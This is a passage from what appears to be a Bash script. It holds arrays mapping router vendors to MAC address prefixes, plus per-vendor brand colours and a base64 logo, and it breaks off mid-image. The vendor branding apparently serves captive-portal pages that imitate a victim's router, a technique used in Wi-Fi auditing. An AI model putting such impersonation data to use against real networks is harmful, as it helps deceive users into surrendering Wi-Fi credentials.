003080 003085 003094 003096 0030A3 0030B6 0030F2 003217 00351A 0038DF 003A7D 003A98 003A99 003A9A 003A9B 003A9C 003C10 00400B 004096 0041D2 00425A 004268 00451D 00500B 00500F 005014 00502A 00503E 005050 005053 005054 005073 005080 0050A2 0050A7 0050BD 0050D1 0050E2 0050F0 00562B 0057D2 0059DC 005D73 005F86 006009 00602F 00603E 006047 00605C 006070 006083 0062EC 006440 006BF1 006CBC 007278 007686 00778D 007888 007E95 0081C4 008731 008764 008A96 008E73 00900C 009021 00902B 00905F 00906D 00906F 009086 009092 0090A6 0090AB 0090B1 0090BF 0090D9 0090F2 009AD2 009E1E 00A289 00A2EE 00A38E 00A3D1 00A5BF 00A6CA 00A742 00AA6E 00AF1F 00B04A 00B064 00B08E 00B0C2 00B0E1 00B1E3 00B670 00B771 00B8B3 00BC60 00BE75 00BF77 00C164 00C1B1 00C88B 00CAE5 00CCFC 00D006 00D058 00D063 00D079 00D090 00D097 00D0BA 00D0BB 00D0BC 00D0C0 00D0D3 00D0E4 00D0FF 00D6FE 00D78F 00DA55 00DEFB 00E014 00E01E 00E034 00E04F 00E08F 00E0A3 00E0B0 00E0F7 00E0F9 00E0FE 00E16D 00EABD 00EBD5 00EEAB 00F28B 00F663 00F82C 00FCBA 00FD22 00FEC8 042AE2 045FB9 046273 046C9D 04C5A4 04DAD2 04EB40 04FE7F 081735 081FF3 084FA9 084FF9 0896AD 08CC68 08CCA7 08D09F 08ECF5 0C1167 0C2724 0C6803 0C75BD 0C8525 0CD0F8 0CD996 0CF5A4 1005CA 108CCF 10B3C6 10B3D5 10B3D6 10BD18 10F311 10F920 14169D 14A2A0 18339D 188090 188B45 188B9D 189C5D 18E728 18EF63 1C17D3 1C1D86 1C6A7A 1CAA07 1CDEA7 1CDF0F 1CE6C7 1CE85D 203706 203A07 204C9E 20BBC0 2401C7 24169D 247E12 24B657 24E9B3 2834A2 285261 286F7F 2893FE 28940F 28AC9E 28C7CE 2C01B5 2C0BE9 2C3124 2C3311 2C36F8 2C3ECF 2C3F38 2C4F52 2C542D 2C5741 2C5A0F 2C73A0 2C86D2 2CABEB 2CD02D 2CF89B 3037A6 308BB2 30E4DB 30F70D 346288 346F90 34A84E 34BDC8 34DBFD 34ED1B 34F8E7 380E4D 381C1A 382056 3890A5 38ED18 3C08F6 3C0E23 3C13CC 3C410E 3C510E 3C5731 3C5EC3 3CCE73 3CDF1E 40017A 405539 40A6E8 40CE24 40F4EC 4403A7 442B03 44ADD9 44D3CA 44E4D9 4C0082 4C4E35 4C710C 4C710D 4C776D 4CA64D 4CBC48 4CE175 4CE176 500604 5006AB 500F80 5017FF 501CB0 501CBF 502FA8 503DE5 5057A8 5061BF 5067AE 508789 50F722 544A00 5475D0 54781A 547C69 547FEE 5486BC 548ABA 54A274 580A20 5835D9 588D09 58971E 5897BD 58AC78 58BC27 58BFEA 58F39C 5C5015 5C5AC7 5C710D 5C838F 5CA48A 5CA62D 5CE176 5CFC66 60735C 6400F1 641225 64168D 649EF3 64A0E7 64AE0C 64D814 64D989 64E950 64F69D 682C7B 683B78 6886A7 6899CD 689CE2 68BC0C 68BDAB 68CAE4 68EFBD 6C2056 6C310E 6C410E 6C416A 6C504D 6C5E3B 6C6CD3 6C710D 6C8BD3 6C9989 6C9CED 6CAB05 6CB2AE 6CDD30 6CFA89 7001B5 700B4F 700F6A 70105C 7018A7 701F53 703509 70617B 70695A 706BB9 706D15 706E6D 70708B 7079B3 707DB9 708105 70B317 70C9C6 70CA9B 70D379 70DB98 70DF2F 70E422 70EA1A 70F096 70F35A 7426AC 74860B 7488BB 74A02F 74A2E6 7802B1 780CF0 78725D 78BAF9 78BC1A 78DA6E 7C0ECE 7C210D 7C210E 7C310E 7C69F6 7C95F3 7CAD4F 7CAD74 802DBF 80E01D 80E86F 843DC6 8478AC 84802D 848A8D 84B261 84B517 84B802 881DFC 8843E1 885A92 887556 88908D 88F031 88F077 8C604F 8CB64F 9077EE 94D469 9C4E20 9C57AD 9CAFCA 9CE176 A0239F A03D6F A0554F A09351 A0B439 A0CF5B A0E0AF A0ECF9 A0F849 A40CC3 A41875 A44C11 A4530E A45630 A46C2A A48873 A4934C A4B239 A4B439 A80C0D A89D21 A8B1D4 A8B456 AC3A67 AC4A56 AC4A67 AC7A56 AC7E8A ACA016 ACF2C5 ACF5E6 B000B4 B02680 B07D47 B08BCF B0907E B0AA77 B0FAEB B40216 B41489 B4A4E3 B4A8B9 B4DE31 B4E9B0 B83861 B8621F B8BEBF BC1665 BC16F5 BC26C7 BC4A56 BC5A56 BC671C BCC493 BCF1F2 C014FE C0255C C0626B C064E4 C067AF C07BBC C08C60 C40ACB C4143C C444A0 C46413 C471FE C47295 C47D4F C4B239 C4B36A C4B9CD C4C603 C4F7D5 C80084 C84C75 C89C1D CC167E CC46D6 CC5A53 CC70ED CC7F75 CC7F76 CC8E71 CC9070 CC9891 CCD539 CCD8C1 CCEF48 D0574C D072DC D0A5A6 D0C282 D0C789 D0D0FD D0EC35 D42C44 D46A35 D46D50 D4789B D48CB5 D4A02A D4AD71 D4ADBD D4C93C D4D748 D4E880 D824BD D867D9 D8B190 DC3979 DC7B94 DC8C37 DCA5F4 DCCEC1 DCEB94 DCF719 E00EDA E02F6D E05FB9 E0899D E0ACF1 E0D173 E4AA5D E4C722 E4D3F1 E80462 E84040 E86549 E8B748 E8BA70 E8EDF3 EC1D8B EC3091 EC4476 ECBD1D ECC882 ECE1A9 F02572 F02929 F07816 F07F06 F09E63 F0B2E5 F0F755 F40F1B F41FC2 F44E05 F47F35 F4ACC1 F4BD9E F4CFE2 F4DBE6 F4EA67 F80BCB F80F6F F84F57 F866F2 F86BD9 F872EA F87B20 F8A5C5 F8B7E2 F8C288 FC589A FC5B39 FC9947 FCFBFB" ["Comtrend"]="001D20 0030DA 1C6499 3872C0 64680C C8D12A D8B6B7 F88E85" ["D-Link"]="00AD24 0CB6D2 1062EB 10BEF5 14D64D 180F76 1C5F2B 1C7EE5 1CAFF7 1CBDB9 28107B 283B82 3C1E04 409BCD 48EE0C 54B80A 58D56E 60634C 6C198F 6C7220 7062B8 74DADA 78321B 78542E 802689 84C9B2 908D78 9094E4 9CD643 A0AB1B ACF1DF B0C554 B8A386 BC0F9A BCF685 C0A0BB C412F5 C4A81D C4E90A C8BE19 C8D3A3 CCB255 D8FEE3 E46F13 E8CC18 EC2280 ECADE0 F0B4D2 F48CEB F8E903 FC7516" ["Edimax"]="0000B4 000E2E 001F1F 0050FC 08BEAC 74DA38 801F02" ["Fortinet"]="00090F 000CE6 04D590 085B0E 704CA5 906CAC E023FF E81CBA" ["Hewlett-Packard"]="0001E6 0001E7 0002A5 0004EA 000802 000883 0008C7 000A57 000BCD 000D9D 000E7F 000EB3 000F20 000F61 001083 0010E3 00110A 001185 001279 001321 001438 0014C2 001560 001635 001708 0017A4 001871 0018FE 0019BB 001A4B 001B78 001CC4 001E0B 001F29 00215A 002264 00237D 002481 0025B3 002655 00306E 0030C1 004E35 00508B 0060B0 00805F 0080A0 009C02 00FD45 040973 080009 082E5F 089734 08F1EA 101F74 10604B 1062E5 10E7C6 1402EC 1458D0 186024 18A905 1C98EC 1CC1DE 20677C 20A6CD 24BE05 24F27F 288023 28924A 2C233A 2C27D7 2C4138 2C44FD 2C59E5 2C768A 308D99 30E171 3464A9 34FCB9 3817C3 3863BB 38EAA7 3C4A92 3C5282 3CA82A 3CD92B 40A8F0 40B034 40B93C 441EA1 443192 4448C1 480FCF 484AE9 48BA4E 48DF37 4CAEA3 5065F3 548028 5820B1 5C8A38 5CB901 5CBA2C 643150 645106 68B599 6C3BE5 6CC217 70106F 705A0F 7446A0 784859 78ACC0 78E3B5 78E7D1 8030E0 808DB7 80C16E 80CE62 80E82C 843497 84A93E 8851FB 88E9A4 8CDCD4 904C81 941882 943FC2 9440C9 9457A5 94F128 984BE1 98E7F4 98F2B3 9C7BEF 9C8CD8 9C8E99 9CB654 9CDC71 A01D48 A02BB8 A0481C A08CFD A0B3CC A0D3C1 A45D36 A8BD27 AC162D ACE2D3 B00CD1 B05ADA B0B867 B47AF1 B499BA B4B52F B4B686 B88303 B8AF67 BCEAFA C4346B C46516 C8B5AD C8CBB8 C8D3FF C8D9D2 CC3E5F D06726 D07E28 D0BF9C D48564 D4C9EF D4F5EF D89403 D89D67 D8D385 DC4A3E DC680C E0071B E4115B E4E749 E83935 E8F724 EC8EB5 EC9A74 EC9B8B ECB1D7 ECEBB8 F0921C F40343 F430B9 F43909 F4CE46 F8B46A FC15B4 FC3FDB" ["Huawei"]="001882 001E10 002568 00259E 002EC7 0034FE 00464B 005A13 00664B 009ACD 00BE3B 00E0FC 00F81C 04021F 0425C5 042758 043389 044A6C 044F4C 047503 047970 04885F 048C16 049FCA 04B0E7 04BD70 04C06F 04F938 04FE8D 0819A6 08318B 084F0A 086361 087A4C 08C021 08E84F 0C2C54 0C37DC 0C41E9 0C45BA 0C704A 0C8FFF 0C96BF 0CB527 0CC6CC 0CD6BD 100177 101B54 104400 104780 105172 10B1F8 10C172 10C3AB 10C61F 1409DC 1413FB 143004 143CC3 14579F 145F94 149D09 14A0F8 14A51A 14B968 14D11F 14D169 18022D 183D5E 185644 18C58A 18CF24 18D276 18DED7 1C151F 1C1D67 1C20DB 1C4363 1C599B 1C6758 1C7F2C 1C8E5C 1CAECB 1CB796 2008ED 200BC7 20283E 202BC1 203DB2 2054FA 20658E 20A680 20AB48 20DA22 20F17C 20F3A3 2400BA 240995 24166D 241FA0 242E02 243154 244427 244C07 2469A5 247F3C 249EAB 24A52C 24BCF8 24DA33 24DBAC 24DF6A 24FB65 2811EC 283152 283CE4 2841C6 285FDB 286ED4 289E97 28A6DB 28B448 28DEE5 28E34E 2C1A01 2C55D3 2C58E8 2C97B1 2C9D1E 2CAB00 2CCF58 304596 307496 308730 30A1FA 30C50F 30D17E 30E98E 30F335 30FBB8 30FD65 3400A3 340A98 3412F9 341E6B 342912 342EB6 346AC2 346BD3 347916 34A2A2 34B354 34CDBE 38378B 3847BC 384C4F 38881E 38BC01 38EB47 38F889 38FB14 3C15FB 3C306F 3C4711 3C678C 3C7843 3C9D56 3CCD5D 3CDFBD 3CE824 3CF808 3CFA43 404D8E 407D0F 40CBA8 40EEDD 44004D 4455B1 4459E3 446747 446A2E 446EE5 447654 4482E5 44A191 44C346 44D791 480031 482CD0 483C0C 483FE9 48435A 4846FB 485702 486276 487B6B 488EEF 48AD08 48D539 48DB50 48DC2D 48F8DB 48FD8E 4C1FCC 4C5499 4C8BEF 4CB16C 4CD0CB 4CD1A1 4CF55B 4CF95D 4CFB45 50016B 5001D9 5004B8 501D93 50464A 505DAC 50680A 506F77 509F27 50A72B 541310 5425EA 5434EF 5439DF 54511B 548998 549209 54A51B 54B121 54BAD6 581F28 582575 582AF7 58605F 587F66 58BAD4 58D759 58F987 5C0339 5C0979 5C4CA9 5C546D 5C7D5E 5C9157 5CA86A 5CB395 5CB43E 5CC307 5CE883 5CF96A 600810 60123C 602E20 607ECD 608334 60D755 60DE44 60DEF3 60E701 60F18A 60FA9D 6416F0 642CAC 643E8C 646D6C 64A651 684AAE 6889C1 688F84 68A03E 68A0F6 68A828 68CC6E 68E209 6C1632 6CB749 6CEBB6 70192F 702F35 7054F5 70723C 707990 707BE8 708A09 708CB6 70A8E3 70C7F2 70D313 70FD45 745909 745AAA 7460FA 74882A 749D8F 74A063 74A528 74C14F 74D21D 7817BE 781DBA 785773 785860 786256 786A89 78B46A 78D752 78F557 78F5FD 7C11CB 7C1CF1 7C6097 7C7668 7C7D3D 7C942A 7CA177 7CA23E 7CB15D 7CC385 7CD9A0 801382 8038BC 804126 806933 80717A 807D14 80B575 80B686 80D09B 80D4A5 80E1BF 80FB06 8421F1 843E92 8446FE 844765 845B12 847637 849FB5 84A8E4 84A9C4 84AD58 84BE52 84DBAC 88108F 881196 8828B3 883FD3 884033 88403B 884477 8853D4 886639 888603 88A2D7 88BCC1 88BFE4 88CEFA 88CF98 88E3AB 88F56E 88F872 8C0D76 8C15C7 8C2505 8C34FD 8C426D 8C683A 8C6D77 8CE5EF 8CEBC6 8CFD18 900325 9016BA 90173F 9017AC 9017C8 902BD2 903FEA 904E2B 90671C 909497 9400B0 94049C 940B19 940E6B 942533 94772B 94D00D 94DBDA 94E7EA 94FE22 9835ED 9844CE 989C57 98E7F5 9C1D36 9C28EF 9C37F4 9C52F8 9C69D1 9C713A 9C741A 9C7DA3 9CB2B2 9CC172 9CE374 A0086F A01C8D A057E3 A08CF8 A08D16 A0A33B A0DF15 A0F479 A400E2 A416E7 A47174 A4933F A49947 A49B4F A4BA76 A4BDC4 A4BE2B A4C64F A4CAA0 A4DCBE A80C63 A82BCD A8494D A87D12 A8C83A A8CA7B A8E544 A8F5AC AC075F AC4E91 AC6089 AC6175 AC751D AC853D AC8D34 AC9232 ACB3B5 ACCF85 ACE215 ACE342 ACE87B ACF970 B00875 B05508 B05B67 B0761B B08900 B0E17E B0E5ED B0EB57 B40931 B41513 B43052 B44326 B46E08 B48655 B4B055 B4CD27 B4F58E B4FBF9 B808D7 B89436 B8BC1B B8C385 B8E3B1 BC25E0 BC3D85 BC3F8F BC620E BC7574 BC7670 BC9C31 BCB0E7 BCE265 C07009 C0BFC0 C0F4E6 C0FFA8 C40528 C40683 C4072F C4447D C4473F C467D1 C486E9 C49F4C C4A402 C4B8B4 C4F081 C4FF1F C80CC8 C81451 C81FBE C850CE C85195 C88D83 C894BB C8A776 C8C2FA C8C465 C8D15E CC0577 CC53B5 CC64A6 CC96A0 CCA223 CCBBFE CCCC81 CCD73C D016B4 D02DB3 D03E5C D065CA D06F82 D07AB5 D0C65B D0D04B D0D783 D0EFC1 D0FF98 D440F0 D44649 D4612E D462EA D46AA8 D46BA6 D46E5C D494E8 D4A148 D4B110 D4F9A1 D82918 D8490B D89B3B D8C771 DC094C DC16B2 DC21E2 DC729B DC9088 DC9914 DCC64B DCD2FC DCD916 DCEE06 E00084 E0191D E0247F E02481 E02861 E03676 E09796 E0A3AC E0CC7A E40EEE E419C1 E43493 E435C8 E43EC6 E468A3 E472E2 E47E66 E48326 E4A7C5 E4A8B6 E4C2D1 E4FB5D E4FDA1 E8088B E84DD0 E86819 E884C6 E8ABF3 E8BDD1 E8CD2D EC233D EC388F EC4D47 EC5623 EC8914 EC8C9A ECC01B ECCB30 F00FEC F02FA7 F033E5 F03F95 F04347 F063F9 F09838 F09BB8 F0C850 F0E4A2 F41D6B F44C7F F4559C F4631F F47960 F48E92 F49FF3 F4A4D6 F4B78D F4BF80 F4C714 F4CB52 F4DCF9 F4DEAF F4E3FB F4E5F2 F80113 F823B2 F83DFF F84ABF F86EEE F87588 F898B9 F898EF F89A78 F8BF09 F8C39E F8E811 FC1BD1 FC3F7C FC48EF FC8743 FC9435 FCAB90 FCBCD1 FCE33C" ["Juniper"]="000585 0010DB 00121E 0014F6 0017CB 0019E2 001BC0 001DB5 001F12 002159 002283 00239C 0024DC 002688 003146 009069 045C6C 0881F4 0C599C 0C8126 0C8610 100E7E 1039E9 182AD3 1C9C8C 201BC9 204E71 20D80B 288A1C 28A24B 28C0DA 2C2131 2C2172 2C6BF5 307C5E 30B64F 384F49 3C6104 3C8AB0 3C8C93 3C94D5 407183 40A677 40B4F0 40DEAD 44AA50 44ECCE 44F477 4C16FC 4C9614 50C58D 50C709 541E56 544B8C 54E032 5800BB 5C4527 5C5EAB 64649B 648788 64C3D6 7819F7 784F9B 78507C 78FE3D 7C2586 7CE2CA 80711F 807FF8 80ACAC 841888 84B59C 84C1C1 88A25E 88D98F 88E0F3 88E64B 94BF94 94F7AD 9C8ACB 9CCC83 A8D0E5 AC4BC8 B033A6 B0A86E B0C69A B8C253 C00380 C042D0 C0535E C0BFA7 C8E7F0 CCE17F CCE194 D007CA D0DD49 D404FF D818D3 D8B122 DC38E1 E45D37 E4FC82 E8B6C2 EC13DB EC3873 EC3EF7 F01C2D F04B3A F07CC7 F4A739 F4B52F F4CC55 F8C001 FC3342 E08B258" ["Linksys"]="000C41 000E08 000F66 001217 001310 0014BF 0016B6 001839 0018F8 001A70 001C10 001D7E 001EE5 002129 00226B 002369 00259C 20AA4B 48F8B3 586D8F 687F74 98FC11 C0C1C0 C8B373 C8D719" ["Mercusys"]="00EBD8 088AF1 0C1C31 30169D 94742E" ["Mitrastar"]="0C4C39 345760 84AA9C 9897D1 A433D7 ACC662 B046FC B8FFB3 C03DD9 CCD4A1 CCEDDC D8C678 E04136 E4AB89" ["Motorola"]="000E5C 04D395 08AA55 08CC27 0CCB85 141AA3 1430C6 1C56FE 2446C8 24DA9B 304B07 34BB26 3880DF 40786A 408805 441C7F 4480EB 58D9C3 5C5188 601D91 60BEB5 68C44D 8058F8 806C1B 84100D 88797E 88B4A6 8CF112 9068C3 90735A 9CD917 A470D6 A89675 B07994 BC98DF BCFFEB C08C71 C8C750 CC0DF2 CC61E5 CCC3EA D00401 D07714 D463C6 D4C94B DCBFE9 E0757D E09861 E4907E E89120 EC8892 F0D7AA F4F1E1 F4F524 F81F32 F8CFC5 F8E079 F8F1B6" ["Netgear"]="00095B 000FB5 00146C 00184D 001B2F 001E2A 001F33 00223F 0024B2 0026F2 008EF2 04A151 08028E 0836C9 08BD43 100C6B 100D7F 10DA43 1459C0 200CC8 204E7F 20E52A 288088 28C68E 2C3033 2CB05D 30469A 3894ED 3C3786 405D82 4494FC 44A56E 4C60DE 504A6E 506A03 6CB0CE 744401 78D294 803773 841B5E 8C3BAD 9C3DCF 9CC9EB 9CD36D A00460 A021B7 A040A0 A06391 A42B8C B03956 B07FB9 B0B98A BCA511 C03F0E C0FFD4 C40415 C43DC7 CC40D0 DCEF09 E0469A E091F5 E4F4C6 E8FCAF F87394" ["Samsung"]="0000F0 0007AB 001247 0012FB 001377 001599 0015B9 001632 00166B 00166C 0016DB 0017C9 0017D5 0018AF 001A8A 001B98 001C43 001D25 001DF6 001E7D 001EE1 001EE2 001FCC 001FCD 00214C 0021D1 0021D2 002339 00233A 002399 0023D6 0023D7 002454 002490 002491 0024E9 002566 002567 00265D 00265F 006F64 0073E0 007C2D 008701 00B5D0 00BF61 00C3F4 00E3B2 00F46F 00FA21 04180F 041BBA 04B1A1 04B429 04BA8D 04BDBF 04FE31 0808C2 0821EF 08373D 083D88 087808 088C2C 08AED6 08BFA0 08D42B 08ECA9 08EE8B 08FC88 08FD0E 0C1420 0C2FB0 0C715D 0C8910 0CA8A7 0CB319 0CDFA4 0CE0DC 1007B6 101DC0 1029AB 103047 103917 103B59 1077B1 1089FB 108EE0 109266 10D38A 10D542 140152 141F78 1432D1 14568E 1489FD 1496E5 149F3C 14A364 14B484 14BB6E 14F42A 1816C9 1819D6 181EB0 182195 18227E 182666 183A2D 183F47 184617 184ECB 1854CF 1867B0 188331 18895B 18E2C2 1C232C 1C3ADE 1C5A3E 1C62B8 1C66AA 1CAF05 2013E0 202D07 20326C 205531 205EF7 206E9C 20D390 20D5BF 244B03 244B81 245AB5 2468B0 24920E 24C696 24DBED 24F5AA 24FCE5 2802D8 2827BF 28395E 288335 28987B 28BAB5 28CC01 2C4053 2C4401 2CAE2B 2CBABA 301966 306A85 3096FB 30C7AE 30CBF8 30CDA7 30D587 30D6C9 34145F 342D0D 343111 348A7B 34AA8B 34BE00 34C3AC 380195 380A94 380B40 3816D1 382DD1 382DE8 3868A4 386A77 389496 389AF6 38D40B 38ECE4 3C0518 3C20F6 3C576C 3C5A37 3C6200 3C8BFE 3CA10D 3CBBFD 3CDCBC 3CF7A4 40163B 40D3AE 444E1A 445CE9 446D6C 44783E 44F459 48137E 4827EA 4844F7 4849C7 485169 48794D 489DD1 48C796 4C3C16 4CA56D 4CBCA5 4CC95E 4CDD31 5001BB 503275 503DA1 5050A4 5056BF 507705 508569 5092B9 509EA7 50A4C8 50B7C3 50C8E5 50F0D3 50F520 50FC9F 54219D 5440AD 5492BE 549B12 54B802 54BD79 54F201 54FA3E 54FCF0 58B10F 58C38B 58C5CB 5C2E59 5C3C27 5C497D 5C5181 5C865C 5C9960 5CC1D7 5CCB99 5CE8EB 5CF6DC 60684E 606BBD 6077E2 608E08 608F5C 60A10A 60A4D0 60AF6D 60C5AD 60D0A9 641CAE 641CB0 646CB2 647791 647BCE 6489F1 64B310 64B853 680571 682737 684898 685ACF 687D6B 68BFC4 68E7C2 68EBAE 6C006B 6C2F2C 6C2F8A 6C8336 6CB7F4 6CDDBC 6CF373 701F3C 70288B 702AD5 705AAC 70CE8C 70F927 70FD46 74458A 749EF5 74EB80 78009E 781FDB 782327 7825AD 7840E4 78471D 78521A 78595E 789ED0 78A873 78ABBB 78BDBC 78C3E9 78F7BE 7C0BC6 7C1C68 7C2302 7C2EDD 7C38AD 7C6456 7C787E 7C8956 7C8BB5 7C9122 7CF854 7CF90E 8018A7 8020FD 8031F0 804E70 804E81 805719 80656D 807B3E 8086D9 80CEB9 8425DB 842E27 845181 8455A5 849866 84A466 84B541 84C0EF 88299C 887598 888322 889B39 889F6F 88A303 88ADD2 88BD45 8C1ABF 8C71F8 8C7712 8C79F5 8C83E1 8CBFA6 8CC8CD 8CE5C0 9000DB 900628 90633B 9097F3 90B144 90EEC7 90F1AA 9401C2 942DDC 94350A 945103 9463D1 9476B7 947BE7 948BC1 94B10A 94D771 98063C 981DFA 98398E 9852B1 9880EE 988389 9C0298 9C2A83 9C3AAF 9C65B0 9C8C6E 9CA513 9CD35B 9CE063 9CE6E7 A00798 A01081 A02195 A027B6 A06090 A07591 A0821F A0AC69 A0B4A5 A0CBFD A407B6 A4307A A46CF1 A48431 A49A58 A4D990 A4EBD3 A80600 A816D0 A82BB9 A8346A A8515B A87C01 A88195 A887B3 A89FBA A8F274 AC1E92 AC3613 AC5A14 ACAFB9 ACC33A ACEE9E B047BF B06FE0 B0C4E7 B0C559 B0D09C B0DF3A B0EC71 B41A1D B43A28 B46293 B47443 B4BFF6 B4CE40 B4EF39 B857D8 B85A73 B85E7B B86CE8 B8BBAF B8BC5B B8C68E B8D9CE BC1485 BC20A4 BC4486 BC4760 BC5451 BC72B1 BC765E BC79AD BC7ABF BC851F BCA58B BCB1F3 BCD11F BCE63F C01173 C0174D C048E6 C06599 C087EB C08997 C0BDC8 C0D2DD C0D3C0 C0DCDA C44202 C45006 C4576E C462EA C4731E C488E5 C493D9 C4AE12 C81479 C819F7 C83870 C87E75 C8A823 C8D7B0 CC051B CC07AB CC2119 CC464E CC6EA4 CCB11A CCF9E8 CCFE3C D003DF D0176A D03169 D059E4 D0667B D07FA0 D087E2 D0B128 D0C1B1 D0D003 D0DFC7 D0FCCC D411A3 D47AE2 D487D8 D48890 D48A39 D49DC0 D4AE05 D4E6B7 D4E8B2 D80831 D80B9A D831CF D85575 D857EF D85B2A D868C3 D890E8 D8C4E9 D8E0E1 DC44B6 DC6672 DC74A8 DC8983 DCCF96 DCDCE2 DCF756 E09971 E0AA96 E0CBEE E0D083 E0DB10 E4121D E432CB E440E2 E458B8 E458E7 E45D75 E47CF9 E47DBD E492FB E4B021 E4E0C5 E4F3C4 E4F8EF E4FAED E8039A E81132 E83A12 E84E84 E89309 E8B4C8 E8E5D6 EC107B ECAA25 ECE09B F008F1 F05A09 F05B7B F06BCA F0728C F08A76 F0E77E F0EE10 F40E22 F4428F F47190 F47B5E F47DEF F49F54 F4C248 F4D9FB F4FEFB F83F51 F877B8 F884F2 F8D0BD F8E61A F8F1E6 FC039F FC1910 FC4203 FC643A FC8F90 FCA13E FCA621 FCAAB6 FCC734 FCDE90 FCF136" ["SMC"]="0004E2 000BC5 0013F7 00222D 0023C6 0026F3 004027 78CD8E 849D64 B89BC9 C4393A E4956E0" ["Sphairon"]="001C28" ["Technicolor"]="2C301A F01628 101331 20B001 30918F 589835 705A9E 9C9726 A0B53C A491B1 A4B1E9 C4EA1D D4351D D4925E E0B9E5" ["Teldat"]="001967 00A026" ["TP-Link"]="000AEB 001478 0019E0 001D0F 002127 0023CD 002586 002719 081F71 085700 0C4B54 0C722C 0C8063 0C8268 10FEED 147590 148692 14CC20 14CF92 14E6E4 18A6F7 18D6C7 1C3BF3 1C4419 1CFA68 206BE7 20DCE6 246968 282CB2 28EE52 30B49E 30B5C2 30FC68 349672 34E894 388345 3C46D8 3C6AD2 40169F 403F8C 44B32D 480EEC 487D2E 503EAA 50BD5F 50C7BF 50D4F7 50FA84 547595 54A703 54C80F 54E6FC 5C63BF 5C899A 603A7C 60E327 645601 6466B3 646E97 647002 68FF7B 6CE873 704F57 7405A5 74DA88 74EA3A 7844FD 78A106 7C8BCA 7CB59B 808917 808F1D 8416F9 882593 8C210A 8CA6DF 90AE1B 90F652 940C6D 94D9B3 984827 98DAC4 98DED0 9C216A 9CA615 A0F3C1 A42BB0 A8154D A8574E AC84C6 B0487A B04E26 B09575 B0958E B0BE76 B8F883 BC4699 BCD177 C025E9 C04A00 C06118 C0E42D C46E1F C47154 C4E984 CC08FB CC32E5 CC3429 D03745 D076E7 D0C7C0 D4016D D46E0E D807B6 D80D17 D8150D D84732 D85D4C DC0077 DCFE18 E005C5 E4D332 E894F6 E8DE27 EC086B EC172F EC26CA EC888F F0F336 F483CD F4EC38 F4F26D F81A67 F8D111 FCD733" ["Ubiquiti"]="00156D 002722 0418D6 18E829 24A43C 44D9E7 687251 68D79A 7483C2 74ACB9 788A20 802AA8 B4FBE4 DC9FDB E063DA F09FC2 F492BF FCECDA" ["Vantiva"]="F85E42" ["Xavi"]="000138 E09153" ["ZTE"]="000947 0015EB 0019C6 001E73 002293 002512 0026ED 004A77 041DC7 049573 08181A 083FBC 086083 0C1262 0C3747 0C72D9 10D0AB 143EBF 146080 146B9A 18132D 1844E6 18686A 1C2704 208986 20E882 24586E 247E51 24C44A 24D3F2 287B09 288CB8 28FF3E 2C26C5 2C957F 300C23 304240 309935 30D386 30F31D 343759 344B50 344DEA 346987 347839 34DAB7 34DE34 34E0CF 384608 386E88 38D82F 38E1AA 38E2DD 3CDA2A 3CF652 4413D0 44F436 44FB5A 44FFBA 48282F 4859A4 48A74E 4C09B4 4C16F1 4C494F 4CABFC 4CAC0A 4CCBF5 5078B3 50AF4D 540955 5422F8 54BE53 585FF6 5C3A3D 601466 601888 6073BC 64136C 681AB2 688AF0 689FF0 6C8B2F 6CA75F 6CD2BA 702E22 709F2D 744AA4 749781 74A78E 74B57E 781D4A 78312B 789682 78C1A7 78E8B6 7C3953 80B07B 84139F 841C70 84742A 847460 885DFB 88D274 8C14B4 8C68C8 8C7967 8CDC02 8CE081 8CE117 901D27 90869B 90C7D8 90D8F3 90FD73 949869 94A7B7 94BF80 94E3EE 98006A 981333 986CF5 98F428 98F537 9C2F4E 9C63ED 9C6F52 9CA9E4 9CD24B 9CE91C A091C8 A0EC80 A44027 A47E39 A4F33B A8A668 AC00D0 AC6462 B00AD5 B075D5 B0ACD2 B0B194 B0C19E B41C30 B49842 B4B362 B4DEDF B805AB BC1695 C09FE1 C0B101 C0FD84 C4741E C4A366 C85A9F C864C7 C87B5B C8EAF8 CC1AFA CC7B35 D0154A D058A8 D05BA8 D0608C D071C4 D437D7 D47226 D476EA D49E05 D4B709 D4C1C8 D855A3 D87495 D8A8C8 DC028E DC7137 DCDFD6 DCF8B9 E01954 E0383F E07C13 E0C3F3 E447B3 E47723 E47E9A E4BD4B E4CA12 E8A1F8 E8ACAD E8B541 EC1D7F EC237B EC6CB5 EC8263 EC8A4C ECF0FE F084C9 F41F88 F46DE2 F4B5AA F4B8A7 F4E4AD F80DF0 F8A34F F8DFA8 FC2D5E FC94CE FCC897" ["Zyxel"]="001349 0019CB 0023F8 00A0C5 04BF6D 082697 1071B3 107BEF 143375 14360E 1C740D 2037F0 28285D 30BD13 404A03 48EDE6 4C9EFF 4CC53E 5067F0 50E039 54833A 588BF3 5C648E 5C6A80 5CE28C 5CF4AB 603197 64DD68 6C4F89 7049A2 78C57D 7C7716 80EA0B 88ACC0 8C5973 909F22 90EF68 980D67 A0E4CB B0B2DC B8D526 B8ECA3 BC7EC3 BC9911 BCCF4F C8544B C86C87 CC5D4E D41AD1 D43DF3 D8912A D8ECE5 E4186B E8377A EC3EB3 EC43F6 F08756 F44D5C F80DA9 FC22F4 FC9F2A FCF528" ) declare -gA cp_router_colors=( ["Alfa_Networks"]='#003399 #4B4B49 #CCCCCC data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAALQAAAA8CAMAAAD48GC1AAAACXBIWXMAAA7EAAAOxAGVKw4bAAABelBMVEUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQDgQCAAAAfXRSTlMAAgQGCAoMDhASFBYYGhweICIkKCosLjAyNDY4Ojw+QEJESEpMTlBSVFZYWlxeYGJkZmhqbG5wcnR2eHp8foGDhYeJi42PkZOVl5mbnZ+ho6Wnqautr7Gztbe5u72/w